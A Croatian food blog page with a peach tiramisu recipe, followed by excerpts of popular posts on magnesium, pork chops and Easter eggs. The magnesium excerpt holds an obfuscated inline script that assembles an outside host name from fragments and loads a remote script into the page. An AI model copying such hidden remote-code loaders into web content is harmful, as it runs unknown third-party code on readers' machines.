TIRAMISU S BRESKVAMA 🍑




Tiramisu s breskvama 




Talijanski klasik, tiramisu, već desetljećima osvaja svojom jednostavnošću – slojevi mekanih piškota, prozračne kreme od mascarponea i bogate arome kave čine ga jednim od najomiljenijih deserata na svijetu. No ljeto je uvijek pravo vrijeme za male promjene. Kada tržnice preplave mirisne, zrele breskve, klasični tiramisu dobiva potpuno novo, osvježavajuće lice. Umjesto intenzivnih nota kave i kakaa, u ovoj verziji glavnu riječ vode sočne breskve, nježna krema od mascarponea i lagani sirup s vanilijom i limunom koji desert čini savršenim za vruće dane.



Tiramisu s breskvama 


Sastojci:

Za voćni sirup:

  • 4 velike zrele breskve
  • 80 g šećera
  • 150 ml vode
  • sok 1 limuna
  • 1 žličica ekstrakta vanilije

Za kremu:

  • 500 g mascarpone sira
  • 300 ml slatkog vrhnja za šlag
  • 80 g šećera u prahu
  • 1 žličica ekstrakta vanilije
  • naribana korica jednog limuna

Za slaganje:

  • 250 g piškota
  • 2 svježe breskve narezane na tanke kriške
  • nekoliko listića svježe mente

Za završetak:

  • sitno nasjeckane pistacije
  • nekoliko tankih kriški breskve
  • listići mente



Priprema:

  • Najprije pripremite voćni sirup. Dvije breskve narežite na manje komade i stavite ih u lončić zajedno sa šećerom, vodom, limunovim sokom i vanilijom. Kuhajte desetak minuta dok voće potpuno ne omekša.
  • Smjesu kratko usitnite štapnim mikserom ili u blenderu, a zatim ostavite da se potpuno ohladi. Sirup bi trebao biti gladak, lagano gust i intenzivno mirisati na breskve.
  • Za kremu prvo istucite hladno slatko vrhnje u mekani šlag.
  • U drugoj zdjeli izmiksajte mascarpone, šećer u prahu, vaniliju i limunovu koricu dok ne dobijete glatku kremu. Zatim špatulom nježno umiješajte tučeno vrhnje kako bi krema ostala lagana i prozračna.
  • Piškote kratko umočite u ohlađeni sirup od breskvi. Pazite da ih ne natopite previše kako bi zadržale svoju strukturu.
  • Na dno posude posložite prvi sloj piškota, premažite ih polovicom kreme pa rasporedite tanke kriške svježih breskvi.
  • Ponovite postupak s drugim slojem piškota, preostalom kremom i završite zaglađenom površinom.
  • Desert stavite u hladnjak najmanje četiri sata, a idealno preko noći kako bi se svi okusi lijepo povezali.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više